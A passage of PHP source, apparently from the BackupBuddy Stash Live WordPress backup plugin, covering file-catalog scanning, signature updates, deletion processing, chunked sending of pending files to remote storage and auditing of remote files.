exist or are excluded. if ( count( $table_sizes ) > 0 ) { // If we were able to get table listings. foreach( self::$_tables as $catalogTableName => $catalogTable ) { // Iterate through stored tables in catalog. if ( ( ! isset( $table_sizes[ $catalogTableName ] ) ) || ( ! in_array( $catalogTableName, $tables ) ) ) { // Backed up table is no longer in mysql db OR was not in list of tables to backup (eg is now excluded). // If table was already sent, mark for deletion. Else just remove entirely here. if ( 0 != self::$_tables[ $catalogTableName ]['b'] ) { // Already backed up to server. self::$_tables[ $catalogTableName ]['d'] = true; // Mark for deletion. self::$_state['stats']['tables_pending_delete']++; } else { // Remove outright here. unset( self::$_tables[ $catalogTableName ] ); } } } } self::$_state['stats']['tables_total_size'] = $database_size; self::$_state['stats']['tables_total_count'] = count( $tables ); self::$_state['stats']['tables_pending_send'] = count( $tables ); // Save catalog. self::$_stateObj->save(); self::$_tablesObj->save(); return true; } elseif ( false === $result ) { $error = 'Error #8349434: Live unable to dump database. See log for details.'; pb_backupbuddy::status( 'error', $error ); backupbuddy_core::addNotification( 'live_error', 'BackupBuddy Stash Live Error', $error ); self::$_state['step']['last_status'] = $error; return false; } else { $error = 'Error #398349734: Live unexpected database dump response. See log for details.'; pb_backupbuddy::status( 'error', $error ); backupbuddy_core::addNotification( 'live_error', 'BackupBuddy Stash Live Error', $error ); self::$_state['step']['last_status'] = $error; return false; } } // end if non-chunking. } // End _step_database_snapshot(). /* _update_files_list() * * Generate list of files to add/update/delete. * * @param string $custom_root Custom root to start scan from. IMPORTANT: This MUST be WITHIN(below) the ABSPATH directory. It cannot be higher (eg parent of ABSPATH). Trailing slash optional. */ private static function _step_update_files_list( $custom_root = '', $startAt = 0, $items = array() ) { $start_time = microtime( true ); pb_backupbuddy::status( 'details', 'Starting to process files; updating files list.' ); if ( false === self::_load_catalog() ) { return false; } if ( '' != $custom_root ) { pb_backupbuddy::status( 'details', 'Scanning custom directory: `' . $custom_root . '`.' ); sleep( 3 ); // Give WordPress time to make thumbnails, etc. } if ( ( 0 == $startAt ) && ( '' == $custom_root ) ) { // Reset stats when starting from the beginning of a full file scan (not for custom roots). self::$_state['stats']['files_pending_delete'] = 0; self::$_state['stats']['files_pending_send'] = 0; self::$_state['stats']['files_total_count'] = 0; self::$_state['stats']['files_total_size'] = 0; } // Get Live-specific excludes. $excludes = backupbuddy_live::getOption( 'file_excludes', true ); // Add standard BB excludes we always apply. $excludes = array_unique( array_merge( self::$_default_excludes, backupbuddy_core::get_directory_exclusions( pb_backupbuddy::$options['profiles'][0], $trim_suffix = false, $serial = '' ), backupbuddy_core::get_directory_exclusions( array( 'excludes' => $excludes ), $trim_suffix = false, $serial = '' ) ) ); pb_backupbuddy::status( 'details', 'Excluding directories: `' . implode( ', ', $excludes ) . '`.' ); // Generate list of files. if ( '' != $custom_root ) { $root = $custom_root; } else { $root = ABSPATH; } $root = rtrim( $root, '/\\' ); // Make sure no trailing slash. $root_len = strlen( $root ); $custom_root_diff = ''; if ( '' != $custom_root ) { $custom_root_diff = substr( $root, strlen( ABSPATH )-1 ); } $destination_settings = self::get_destination_settings(); pb_backupbuddy::status( 'details', 'Starting deep file scan.' ); $max_time = $destination_settings['max_time'] - self::TIME_WIGGLE_ROOM; $files = pb_backupbuddy::$filesystem->deepscandir( $root, $excludes, $startAt, $items, $start_time, ( $max_time - 8 ) ); // Additional 5 seconds so that we can add files into catalog after this completes. if ( ! is_array( $files ) ) { backupbuddy_core::addNotification( 'live_error', 'BackupBuddy Stash Live Error', $files ); pb_backupbuddy::status( 'error', 'Error #84393434: Halting Stash Live due to error returned by deepscandir: `' . $files . '`.' ); return $files; } if ( false === $files[0] ) { // Format when chunking: array( $finished = false, array( $startAt, $items ) ) pb_backupbuddy::status( 'details', 'Deep file scan requires chunking.' ); return array( 'File scanning', array( $custom_root, $files[1][0], $files[1][1] ) ); } else { pb_backupbuddy::status( 'details', 'Deep file scan complete.' ); } // Remove root from path AND remote directories.. foreach( $files as $i => &$file ) { if ( is_dir( $file ) ) { // Don't track directories, only actual files. unset( $files[$i] ); continue 1; } $file = substr( $file, $root_len ); } // Flip array. $files = array_flip( $files ); // Check if this file is already in the list or not. $filesAdded = 0; //$addedSinceOutput = 0; //$outputEvery = 20; // Log every X number of files added into catalog. foreach( $files as $file => $ignoreID ) { if ( '' == $custom_root ) { // Only increment existing files if scanning from root (because stats were reset for fresh count). self::$_state['stats']['files_total_count']++; } $pathed_file = $custom_root_diff . $file; // Applies custom root portion if applicable. if ( ! isset( self::$_catalog[ $pathed_file ] ) ) { // File not already in signature list. Add it in with initial values. if ( '' != $custom_root ) { // Was not added earlier yet. self::$_state['stats']['files_total_count']++; } self::$_catalog[ $pathed_file ] = self::$_signatureDefaults; self::$_catalog[ $pathed_file ]['a'] = microtime( true ); $filesAdded++; self::$_state['stats']['files_pending_send']++; //$addedSinceOutput++; /* if ( ( pb_backupbuddy::$options['log_level'] == '3' ) || ( $addedSinceOutput > $outputEvery ) ) { // Full logging enabled. pb_backupbuddy::status( 'details', 'Added `' . $addedSinceOutput . '` more files. Last file: `' . $pathed_file . '`.' ); if ( $addedSinceOutput > $outputEvery ) { $addedSinceOutput = 0; } } */ pb_backupbuddy::status( 'details', 'Add to catalog: `' . $pathed_file . '`.' ); } else { // Already exists in catalog. if ( 0 == self::$_catalog[ $pathed_file ]['b'] ) { // File not backed up to server yet (pending send). if ( true !== self::$_catalog[ $pathed_file ]['d'] ) { // Not pending deletion already. if ( '' == $custom_root ) { // Only increment existing files if scanning from root (because stats were reset for fresh count). self::$_state['stats']['files_pending_send']++; } } } else { // Local file already exists in catalog and on server. Make sure not marked for deletion. if ( true === self::$_catalog[ $pathed_file ]['d'] ) { // Was marked to delete. Remove deltion mark BUT do rescan in case this is a new version of the file since it was for some reason marked to delete. self::$_catalog[ $pathed_file ]['d'] = false; // Don't immediately delete. self::$_catalog[ $pathed_file ]['r'] = 0; // Reset last scan time so it gets re-checked. } } } } // Checking existing catalog files with new scan to see if anything needs deletion. $filesDeleted = 0; foreach( self::$_catalog as $signatureFile => &$signatureDetails ) { if ( true === $signatureDetails['d'] ) { // Already marked for deletion. continue; } if ( '' != $custom_root ) { // Custom root. Ignore removing any files not within the custom root since we did not scan those so they are not in the $files array. if ( $root != substr( $signatureFile, 0, $root_len ) ) { // Beginning of filename does not match root so not applicable for this scan. Skip. continue; } } if ( ! isset( $files[ $signatureFile ] ) ) { // File no longer exists in new scan. Mark for deletion. $filesDeleted++; $signatureDetails['d'] = true; self::$_state['stats']['files_pending_delete']++; // If it was not yet backed up, decrease pending count. if ( 0 == $signatureDetails['b'] ) { self::$_state['stats']['files_pending_send']--; if ( self::$_state['stats']['files_pending_send'] < 0 ) { self::$_state['stats']['files_pending_send'] = 0; } } self::$_state['stats']['files_total_count']--; if ( self::$_state['stats']['files_total_count'] < 0 ) { self::$_state['stats']['files_total_count'] = 0; } pb_backupbuddy::status( 'details', 'Remove file that no longer exists locally. Flagging `' . $signatureFile . '` for deletion.' ); } } self::$_catalogObj->save(); pb_backupbuddy::status( 'details', 'Signatures saved. Added `' . $filesAdded++ . '` files to local catalog. Marked `' . $filesDeleted . '` files deleted. Took `' . ( microtime( true ) - $start_time ) . '` seconds.' ); return true; } // End _process_files_update_files_list(). /* _step_update_files_signatures() * * Steps through all the files in the catalog, calculating signatures such as modified time, size, etc. * */ private static function _step_update_files_signatures( $startAt = 0 ) { $start_time = microtime( true ); if ( false === self::_load_catalog() ) { return false; } if ( 0 == $startAt ) { self::$_state['stats']['files_total_size'] = 0; // Reset total sum for upcoming scan. } // Clear stale stat cache so file modified/size/etc are very up to date. pb_backupbuddy::status( 'details', 'Cleaning stat cache for signature scan.' ); clearstatcache(); // Loop through files in the catalog. $filesUpdated = 0; $filesDeleted = 0; $alreadySentFilesDetectedChanged = 0; $filesNeedingResendFromIffyAudit = 0; $filesDetectedChanged = 0; $loopCount = 0; $last_save = microtime( true ); foreach( self::$_catalog as $signatureFile => &$signatureDetails ) { if ( 0 != $startAt ) { // Resuming... if ( $loopCount < $startAt ) { $loopCount++; continue; } } else { $loopCount++; } // Check if file is already set to delete. if ( true === $signatureDetails['d'] ) { // File already set to delete. Skip. continue; // Skip to next file. } // Sum sizes for any file that is not marked for deletion. Files that were just deleted will be substracted below. If zero then we will apply size below. if ( 0 != $signatureDetails['s'] ) { self::$_state['stats']['files_total_size'] += $signatureDetails['s']; } // Check if enough time has passed since last rescan. if ( ( time() - $signatureDetails['r'] ) < self::TIME_BETWEEN_FILE_RESCAN ) { continue; } // If file not marked for deletion, check if it still exists. if ( ! file_exists( ABSPATH . $signatureFile ) ) { // File has been deleted. $filesDeleted++; $signatureDetails['d'] = true; self::$_state['stats']['files_pending_delete']++; if ( 0 == $signatureDetails['b'] ) { // If NOT already sent to server. self::$_state['stats']['files_pending_send']--; if ( self::$_state['stats']['files_pending_send'] < 0 ) { self::$_state['stats']['files_pending_send'] = 0; } } self::$_state['stats']['files_total_count']--; if ( self::$_state['stats']['files_total_count'] < 0 ) { self::$_state['stats']['files_total_count'] = 0; } self::$_state['stats']['files_total_size'] = self::$_state['stats']['files_total_size'] - $signatureDetails['s']; // We already added all files not marked for deleation so remove this filesize from the sum. pb_backupbuddy::status( 'details', 'Remove file that no longer exists locally during signature calculation. Flagging `' . $signatureFile . '` for deletion.' ); continue; // Skip to next file. } // Made it this far then calculate (or re-calculate) signature. $stat = @stat( ABSPATH . $signatureFile ); if ( false === $stat ) { $error = 'Unable to retrieve stat() for file `' . $signatureFile . '`. Check file permissions.'; backupbuddy_core::addNotification( 'live_error', 'BackupBuddy Stash Live Error', $error ); pb_backupbuddy::status( 'details', $error ); continue; // Skip to next file. } // Update rescan time. $filesUpdated++; $signatureDetails['r'] = time(); // Update time last rescanned. // If the file changed then set as NOT uploaded so we will send a new copy. if ( ( $signatureDetails['m'] != $stat['mtime'] ) || ( $signatureDetails['s'] != $stat['size'] ) ) { if ( 0 != $signatureDetails['b'] ) { // If not already set to send then increase to-send stats. self::$_state['stats']['files_pending_send']++; $alreadySentFilesDetectedChanged++; } $filesDetectedChanged++; $signatureDetails['b'] = 0; // Current version is NOT backed up. $signatureDetails['t'] = 0; // Reset try (send attempt) counter back to zero since this version has not been attempted. // If we made it here then the filesize number changed. If the stored previous size was non-zero then this means we need to update the total file size sum stats for the difference. if ( 0 != $signatureDetails['s'] ) { // Don't subtract if it was never added in before. self::$_state['stats']['files_total_size'] = self::$_state['stats']['files_total_size'] - $signatureDetails['s']; // Subtract old size. New size was already summed above. } } if ( 0 == $signatureDetails['s'] ) { // Size was zero so it was not added yet. Add now that we have stat size data. self::$_state['stats']['files_total_size'] += $stat['size']; } $signatureDetails['m'] = $stat['mtime']; // Update modified time. $signatureDetails['s'] = $stat['size']; // Update size. if ( 0 != self::$_state['stats']['last_file_audit_start'] ) { // Only run if audit has ran yet. // If not already set to backup then check auditing info to see if the file was missing from the remote server as of the start of the last audit that finished. if ( ( 0 != $signatureDetails['b'] ) && ( self::$_state['stats']['last_file_audit_finish'] > self::$_state['stats']['last_file_audit_start'] ) ) { // Not pending send already AND last audit that began has indeed finished. // Was the file marked as sent BEFORE auditing began? if ( $signatureDetails['b'] < self::$_state['stats']['last_file_audit_start'] ) { // File was marked sent before the audit began so it should exist remotely. // Was the file NOT verified since the beginning of the last audit? if ( $signatureDetails['v'] < self::$_state['stats']['last_file_audit_start'] ) { // Not verified since the last audit (which we already confirmed has finished). // File needs re-sent since missing on remote server. Made it here then the following must apply: file is not already set to backup, the last audit that started has indeed finished, the file was already marked as sent prior to the last audit start, the file is not marked for deletion (would not have made it to this block of code) and the verification key timestamp is before the last audit began (or zero which is the same) so it should have existed during the audit. $signatureDetails['v'] = 0; // Reset audit timestamp. $signatureDetails['b'] = 0; // Reset backup timestamp since we know it's not backed up. $signatureDetails['t'] = 0; // Reset try (send attempt) counter. self::$_state['stats']['files_pending_send']++; // Update files pending send counter. $filesNeedingResendFromIffyAudit++; } } } } // See if it's time to save our progress so far. if ( microtime( true ) - $last_save > self::SAVE_SIGNATURES_EVERY_X_SECONDS ) { self::$_catalogObj->save(); self::$_stateObj->save(); $last_save = microtime( true ); } $destination_settings = self::get_destination_settings(); // Do we have enough time to continue or do we need to chunk? if ( ( microtime( true ) - $start_time + self::TIME_WIGGLE_ROOM ) > $destination_settings['max_time'] ) { // Running out of time! Chunk. self::$_catalogObj->save(); pb_backupbuddy::status( 'details', 'Running out of time calculating signatures. Updated `' . $filesUpdated . '` signatures. Deleted `' . $filesDeleted . '` files. Already-sent files detected as changed since sending: `' . $alreadySentFilesDetectedChanged . '`. Files detected changed total: `' . $filesDetectedChanged . '`. Resend due to audit: `' . $filesNeedingResendFromIffyAudit . '`. Next start: `' . $loopCount . '`. Took `' . ( microtime( true ) - $start_time ) . '` seconds.' ); return array( 'Updating file signatures', array( $loopCount ) ); } } // end foreach signature. self::$_catalogObj->save(); pb_backupbuddy::status( 'details', 'Signatures updated and saved. Updated `' . $filesUpdated . '` signatures. Deleted `' . $filesDeleted . '` files. Already-sent files detected as changed since sending: `' . $alreadySentFilesDetectedChanged . '`. Files detected changed total: `' . $filesDetectedChanged . '`. Resend due to audit: `' . $filesNeedingResendFromIffyAudit . '`. Total size: `' . self::$_state['stats']['files_total_size'] . '`. Took `' . ( microtime( true ) - $start_time ) . '` seconds.' ); return true; } // End _step_update_files_signatures(). /* _step_process_file_deletions() * * Handles cleanup of any locally deletes files that need removed from the Live servers. * */ private static function _step_process_file_deletions( $startAt = 0 ) { if ( $startAt < 0 ) { $startAt = 0; } $start_time = microtime( true ); if ( false === self::_load_catalog() ) { return false; } pb_backupbuddy::status( 'details', 'Starting deletions at point: `' . $startAt . '`.' ); // Loop through files in the catalog. $loopCount = 0; $checkCount = 0; $filesDeleted = 0; $last_save = microtime( true ); foreach( self::$_catalog as $signatureFile => &$signatureDetails ) { if ( 0 != $startAt ) { // Resuming... if ( $loopCount < $startAt ) { $loopCount++; continue; } } else { $loopCount++; } $checkCount++; // Skip non-deleted files. if ( true !== $signatureDetails['d'] ) { continue; } // Made it here then we will be deleting a file. // Cancel any in-process remote sends of deleted files. $sendFileoptions = glob( backupbuddy_core::getLogDirectory() . 'fileoptions/send-live_' . md5( $signatureFile ) . '-*.txt' ); if ( ! is_array( $sendFileoptions ) ) { $sendFileoptions = array(); } foreach( $sendFileoptions as $sendFileoption ) { $fileoptions_obj = new pb_backupbuddy_fileoptions( $sendFileoption, $read_only = false, $ignore_lock = true, $create_file = false ); if ( true !== ( $result = $fileoptions_obj->is_ok() ) ) { pb_backupbuddy::status( 'error', __('Error #9034.32393. Unable to access fileoptions data related to file `' . $signatureFile . '`. Skipping cleanup of file send.', 'it-l10n-backupbuddy' ) . ' Error: ' . $result ); continue; } // Something wrong with fileoptions. Let cleanup handle it later. if ( ! isset( $fileoptions_obj->options['status'] ) ) { continue; } // Don't do anything for success, failure, or already-marked as -1 finish time. if ( ( 'success' == $fileoptions_obj->options['status'] ) || ( 'failure' == $fileoptions_obj->options['status'] ) || ( -1 == $fileoptions_obj->options['finish_time'] ) ) { continue; } // Cancel this send. $fileoptions_obj->options['finish_time'] = -1; $fileoptions_obj->save(); pb_backupbuddy::status( 'details', 'Cancelled in-progress send of deleted file `' . $signatureFile . '`.' ); unset( $fileoptions_obj ); } // If file has been backed up to server then we need to delete the remote file. if ( 0 != $signatureDetails['b'] ) { // Build Stash2 destination settings based on Live settings. $destination_settings = self::get_destination_settings(); $deleteFile = $signatureFile; if ( true !== ( $delete_result = pb_backupbuddy_destination_live::deleteFile( $destination_settings, $deleteFile ) ) ) { pb_backupbuddy::status( 'error', 'Error #8239833: Unable to delete remote file `' . $deleteFile . '`' ); } elseif ( true === $delete_result ) { pb_backupbuddy::status( 'details', 'Deleted remote file `' . $deleteFile . '`.' ); } } // Remove file from catalog and update state stats. unset( self::$_catalog[ $signatureFile ] ); self::$_state['stats']['files_pending_delete']--; if ( self::$_state['stats']['files_pending_delete'] < 0 ) { self::$_state['stats']['files_pending_delete'] = 0; } $filesDeleted++; // See if it's time to save our progress so far. if ( ( time() - $last_save ) > self::SAVE_SIGNATURES_EVERY_X_SECONDS ) { self::$_stateObj->save(); self::$_catalogObj->save(); $last_save = microtime( true ); } // Do we have enough time to continue or do we need to chunk? if ( ( microtime( true ) - $start_time + self::TIME_WIGGLE_ROOM ) > $destination_settings['max_time'] ) { // Running out of time! Chunk. self::$_catalogObj->save(); pb_backupbuddy::status( 'details', 'Running out of time processing deletions. Took `' . ( microtime( true ) - $start_time ) . '` seconds.' ); return array( 'Processing deletions', array() ); //array( $startAt+$loopCount-$filesDeleted ) ); } } // end foreach. // Save and finish. self::$_stateObj->save(); self::$_catalogObj->save(); pb_backupbuddy::status( 'details', 'Deletions processed. Checked `' . $checkCount . '` files. Deleted `' . $filesDeleted . '` files. Took `' . ( microtime( true ) - $start_time ) . '` seconds.' ); return true; } // End _step_process_deletions(). /* _step_send_pending_files() * * Finds the next pending file and tries to send it. * * @param array $signatures If provided then we will use these signatures for sending instead of the normal catalog signatures. Used to send database SQL files. * @param int $startAt Location to start sending from. Used by chunking. Skips X signatures to get to this point. */ private static function _step_send_pending_files( $startAt = 0 ) { // Load state into self::$_state & fileoptions object into self::$_stateObj. if ( false === self::_load_state() ) { return false; } if ( 0 == $startAt ) { $startAt = self::$_state['stats']['last_filesend_startat']; pb_backupbuddy::status( 'details', 'Starting to send pending files at position `' . $startAt . '` based on stored stats position.' ); } else { pb_backupbuddy::status( 'details', 'Starting to send pending files at position `' . $startAt . '` based on passed value.' ); } if ( false === self::_load_catalog() ) { return false; } require_once( pb_backupbuddy::plugin_path() . '/destinations/bootstrap.php' ); // Truncate log if it is getting too large. Keeps newest half. self::_truncate_log(); // Loop through files in the catalog. $loopCount = 0; $checkCount = 0; $sendTimeSum = 0; $sendSizeSum = 0; $sendAttemptCount = 0; $logTruncateCheck = 0; $lastSendThisPass = false; $sendMoreRemain = false; $sendAttemptCount = 0; $lackSignatureData = 0; $tooManyAttempts = 0; foreach( self::$_catalog as $signatureFile => &$signatureDetails ) { $loopCount++; if ( 0 != $startAt ) { // Resuming... if ( $loopCount < $startAt ) { continue; } } $checkCount++; // Every X files that get sent, make sure log file is not getting too big AND back up catalog. if ( 0 == ( ($sendAttemptCount+1) % 150 ) ) { // Backup catalog. self::backup_catalog(); } // If already backed up OR we do not have signature data yet then skip for now. if ( ( 0 != $signatureDetails['b'] ) || ( 0 == $signatureDetails['m'] ) ) { if ( 0 == $signatureDetails['m'] ) { $lackSignatureData++; } continue; } // If too many attempts have passed then skip. if ( $signatureDetails['t'] >= self::MAX_SEND_ATTEMPTS ) { $tooManyAttempts++; continue; } // Load destination settings. $destination_settings = self::get_destination_settings(); // If too many remote sends have failed today then give up for now since something is likely wrong. if ( self::$_state['stats']['recent_send_fails'] > $destination_settings['max_daily_failures'] ) { $error = 'Error #5002: Too many file transfer failures have occurred so stopping transfers. We will automatically try again in 12 hours. Verify there are no remote file transfer problems. Don\'t want to wait? Pause Files process then select "Reset Send Attempts" under "Advanced Troubleshooting Options".'; backupbuddy_core::addNotification( 'live_error', 'BackupBuddy Stash Live Error', $error ); self::$_state['step']['last_status'] = $error; pb_backupbuddy::status( 'error', $error ); return false; } // If this is not the first file we've sent this pass, see if we have enough time for more. if ( $sendSizeSum > 0 ) { // Check if it appears we have enough time to send at least a full single chunk in this pass or if we need to pass off to a subsequent run. $send_speed = ( $sendSizeSum / 1048576 ) / $sendTimeSum; // Estimated speed at which we can send files out. Unit: MB / sec. $time_elapsed = ( microtime( true ) - pb_backupbuddy::$start_time ); $time_remaining = $destination_settings['max_time'] - ( $time_elapsed + self::TIME_WIGGLE_ROOM ); // Estimated time remaining before PHP times out. Unit: seconds. $size_possible_with_remaining_time = $send_speed * $time_remaining; // Size possible to send with remaining time (takes into account wiggle room). $size_to_send = ( $signatureDetails['s'] / 1048576 ); // Size we want to send this pass. Unit: MB. if ( $destination_settings['max_burst'] < $size_to_send ) { // If the chunksize is smaller than the full file then cap at sending that much. $size_to_send = $destination_settings['max_burst']; } if ( $size_possible_with_remaining_time < $size_to_send ) { // File (or chunk) is bigger than what we have time to send. $lastSendThisPass = true; $sendMoreRemain = true; $send_speed_status = 'Not enough time to send more. To continue in next live_periodic pass.'; } else { $send_speed_status = 'Enough time to send more. Preparing for send.'; } pb_backupbuddy::status ('details', 'Not the first normal file to send this pass. Send speed: `' . $send_speed . '` MB/sec. Time elapsed: `' . $time_elapsed . '` sec. Time remaining (with wiggle): `' . $time_remaining . '` sec based on reported max time of `' . $destination_settings['max_time'] . '` sec. Size possible with remaining time: `' . $size_possible_with_remaining_time . '` MB. Size to chunk (greater of filesize or chunk): `' . $size_to_send . '` MB. Conclusion: `' . $send_speed_status . '`.' ); } // end subsequent send time check. // NOT out of time so send this. if ( true !== $lastSendThisPass ) { // Run cleanup on send files. require_once( pb_backupbuddy::plugin_path() . '/classes/housekeeping.php' ); backupbuddy_housekeeping::trim_remote_send_stats( $file_prefix = 'send-live_', $limit = $destination_settings['max_send_details_limit'] ); // Only keep last 5 send fileoptions. backupbuddy_housekeeping::purge_logs( $file_prefix = 'status-remote_send-live_', $limit = $destination_settings['max_send_details_limit'] ); // Only keep last 5 send logs. // Increment try count for transfer attempts and save. $signatureDetails['t']++; self::$_catalogObj->save(); // Save position in case process starts over to prevent race conditions resulting in double send of files. $destination_settings['_live_next_step'] = array( 'send_pending_files', array() ); // Next function and args to try and run after finishing send of this file. self::$_state['stats']['last_filesend_startat'] = $loopCount + 1; self::$_stateObj->save(); $full_file = ABSPATH . substr( $signatureFile, 1 ); if ( ! file_exists( $full_file ) ) { pb_backupbuddy::status( 'details', 'File in catalog no longer exists (or permissions block). Skipping send of file `' . $full_file . '`.' ); } else { // Send file. AFTER success sending this Stash2 destination will automatically trigger the live_periodic processing _IF_ multipart send. If success or fail the we come back here to potentially send more files in the same PHP pass so small files don't each need their own PHP page run. Unless the process has restarted then this will still be the 'next' function to run. $send_id = 'live_' . md5( $signatureFile ) . '-' . pb_backupbuddy::random_string( 6 ); pb_backupbuddy::status( 'details', 'Live starting send function.' ); $sendTimeStart = microtime( true ); // Close catalog & state while sending if > X size to prevent collisions. if ( $signatureDetails['s'] > self::CLOSE_CATALOG_WHEN_SENDING_FILESIZE ) { self::$_catalogObj = ''; self::$_stateObj = ''; } // Send file to remote. $sendAttemptCount++; $result = pb_backupbuddy_destinations::send( $destination_settings, $full_file, $send_id, $delete_after = false, $isRetry = false, $trigger = 'live_periodic', $destination_id = backupbuddy_live::getLiveID() ); // Re-open catalog (if closed). if ( false === self::_load_state() ) { pb_backupbuddy::status( 'error', 'Error #5489458443: Unable to re-open temporarily closed state.' ); return false; } if ( false === self::_load_catalog() ) { pb_backupbuddy::status( 'error', 'Error #5489458443: Unable to re-open temporarily closed catalog.' ); return false; } $sendTimeFinish = microtime( true ); if ( true === $result ) { $result_status = 'Success sending in single pass.'; $sendTimeSum += ( $sendTimeFinish - $sendTimeStart ); // Add to time sent sending. // Set a minimum threshold so small files don't make server appear slower than reality due to overhead. $minimum_size_threshold = self::MINIMUM_SIZE_THRESHOLD_FOR_SPEED_CALC; // Pretend file is at least 500k each. if ( $signatureDetails['s'] < $minimum_size_threshold ) { $sendSizeSum += $minimum_size_threshold; } else { $sendSizeSum += $signatureDetails['s']; // Add to size of data sent. } } elseif ( false === $result ) { self::$_state['stats']['recent_send_fails']++; $result_status = 'Failure sending in single/first pass. See log above for error details. Failed sends today: `' . self::$_state['stats']['recent_send_fails'] . '`.'; } elseif ( is_array( $result ) ) { $result_status = 'Chunking commenced. Ending sends for this pass.'; //$lastSendThisPass = true; // TODO: Ideally at this point we would have Live sleep until the large chunked file finished sending. } pb_backupbuddy::status( 'details', 'Live ended send files function. Status: ' . $result_status . '.' ); } // end file exists. } // Check if we are done sending for this PHP pass/run. if ( true === $lastSendThisPass ) { break; } } // End foreach signatures. pb_backupbuddy::status( 'details', 'Checked `' . $checkCount . '` items for sending. Sent `' . $sendAttemptCount . '`. Skipped due to too many send attempts: `' . $tooManyAttempts . '`. Skipped due to lacking signature data: `' . $lackSignatureData . '`.' ); if ( $tooManyAttempts > 0 ) { $warning = 'Warning #5003. `' . $tooManyAttempts . '` files were skipped due to too many send attempts failing. Check the Remote Destinations page\'s Recently sent files list to check for errors of failed sends. To manually reset sends Pause the Files process and wait for it to finish, then select the Advanced Troubleshooting Option to "Reset Send Attempts".'; pb_backupbuddy::status( 'warning', $warning ); backupbuddy_core::addNotification( 'live_error', 'BackupBuddy Stash Live Error', $warning ); } // Schedule next run if we still have more files to potentially send. if ( true === $sendMoreRemain ) { return array( 'Sending queued files', array( $loopCount ) ); } else { // No more files. self::$_state['stats']['last_filesend_startat'] = 0; // Reset the startat location. pb_backupbuddy::status( 'details', 'No more files remain. Reset filesend startat position back to 0.' ); return true; } } // end _step_send_pending_files(). /* _step_audit_remote_files() * * Audits remove files to make sure remotely stores files match local catalog. * 1) Lists through all remote files. Any remote files found that are not in the catalog at all are deleted. * 2) Updates the 'v' audit verification key for files found in the catalog, verifying they were found remotely. * 3) The next time the file signature checking step runs, any files that were thought to be backed up but found not to be (missing or old 'v' key) will be set to re-upload. * * @param string $marker AWS file marker for the next loop (if applicable). null for no marker (start at beginning). * @param int $runningCount How many files listed so far (excluding table count). * */ private static function _step_audit_remote_files( $marker = null, $runningCount = 0 ) { if ( ( time() - self::$_state['stats']['last_file_audit_finish'] ) < ( self::TIME_BETWEEN_FILE_AUDIT ) ) { pb_backupbuddy::status( 'details', 'Not enough time has passed since last file audit. Skipping for now. Minimum time: `' . self::TIME_BETWEEN_FILE_AUDIT . '` secs. Last ran ago: `' . ( time() - self::$_state['stats']['last_file_audit_finish'] ) . '` secs.' ); return true; } $deleteBatchSize = 100; // Delete files in batches of this many files via deleteObjects via deleteFiles(). $serialDir = 'wp-content/uploads/backupbuddy_temp/SERIAL/'; // Include trailing slash. $serialDirLen = strlen( $serialDir ); if ( false === self::_load_state() ) { return false; } if ( false === self::_load_catalog() ) { return false; } if ( false === self::_load_tables() ) { return false; } $destination_settings = self::get_destination_settings(); require_once( pb_backupbuddy::plugin_path() . '/destinations/live/init.php' ); if ( null == $marker ) { // Only reset if NOT chunking (first pass). Was cause of a bug first few weeks of release resulting in process restarting after hitting 100% if audit step chunked. self::$_state['stats']['last_file_audit_start'] = microtime( true ); // Audit start time. } self::$_stateObj->save(); $loopCount = 0; $loopStart = microtime( true ); $keepLooping = true; $totalListed = 0; $totalTables = 0; $serialSkips = 0; $filesDeleted = 0; $tablesDeleted = 0; $last_save = microtime( true ); while( true === $keepLooping ) { $loopCount++; pb_backupbuddy::status( 'details', 'Listing files starting at marker `' . $marker . '`.' ); $files = pb_backupbuddy_destination_live::listFiles( $destination_settings, $remotePath = '', $marker ); if ( ! is_array( $files ) ) { $error = 'Error #3279327: One or more errors encountered attempting to list remote files for auditing. Details: `' . print_r( $files, true ) . '`.'; pb_backupbuddy::status( 'error', $error ); backupbuddy_core::addNotification( 'live_error', 'BackupBuddy Stash Live Error', $error ); self::$_state['step']['last_status'] = 'Error: Unable to list remote files for audit.'; return false; } pb_backupbuddy::status( 'details', 'Listed `' . count( $files ) . '` files.' ); $totalListed += count( $files ); // Iterate through all remote files. $pendingDelete = array(); $filesDeletedThisRound = 0; foreach( $files as $file ) { // Skip all files in the SERIAL directory with underscore. Audit the rest. if ( substr( $file['Key'], 0, $serialDirLen ) == $serialDir ) { $totalTables++; $basename = basename( $file['Key'] ); // Ignore underscore-prefixed live db data. Do not audit these. Skip. if ( '_' == substr( $basename, 0, 1 ) ) { $serialSkips++; continue; } // Ignore backupbuddy_dat.php metadata file and importbuddy.php files in database folder. if ( ( 'backupbuddy_dat.php' == $basename ) || ( 'importbuddy.php' == $basename ) ) { continue; } // Verify no unexpected extra .sql files exist. if ( pb_backupbuddy::$options['log_level'] == '3' ) { // Full logging enabled. pb_backupbuddy::status( 'details', 'Auditing remotely found table (shown due to log level): `' . $basename . '`.' ); } $table_name = str_replace( '.sql', '', $basename ); if ( ! isset ( self::$_tables[ $table_name ] ) ) { pb_backupbuddy::status( 'details', 'Deleting unexpectedly remotely found table file: `' . $basename . '`.' ); if ( true !== ( $delete_result = pb_backupbuddy_destination_live::deleteFile( $destination_settings, array( $file['Key'] ) ) ) ) { pb_backupbuddy::status( 'error', 'Error #329030923: Unable to delete remote file. See log above for details. Details: `' . $deleteResult . '`.' ); } else { pb_backupbuddy::status( 'details', 'Deleted remote database file `' . $file['Key'] . '`.' ); $tablesDeleted++; } } continue; } if ( ! isset( self::$_catalog[ '/' . $file['Key'] ] ) ) { // Remotely stored file not found in local catalog. Delete remote. $pendingDelete[] = $file['Key']; // Process deletions. if ( count( $pendingDelete ) >= $deleteBatchSize ) { if ( true !== ( $delete_result = pb_backupbuddy_destination_live::deleteFile( $destination_settings, $pendingDelete ) ) ) { pb_backupbuddy::status( 'error', 'Error #4397347934: Unable to delete one or more remote files. See log above for details. Details: `' . print_r( $delete_result, true ) . '`. Clearing pendingDelete var for next batch.' ); } else { pb_backupbuddy::status( 'details', 'Deleted batch of `' . count( $pendingDelete ) . '` remote files. Cleaning pendingDelete var for next batch.' ); $filesDeleted += count( $pendingDelete ); $filesDeletedThisRound += count( $pendingDelete ); } $pendingDelete = array(); } } else { // Remotely stored file found in local catalog. Updated verified audit timestamp. // Update 'v' key (for verified) with current timestamp to show it is verified as being on remote server. self::$_catalog[ '/' . $file['Key'] ]['v'] = microtime( true ); } } // Process any remaining deletions. if ( count( $pendingDelete ) > 0 ) { if ( true !== ( $delete_result = pb_backupbuddy_destination_live::deleteFile( $destination_settings, $pendingDelete ) ) ) { pb_backupbuddy::status( 'error', 'Error 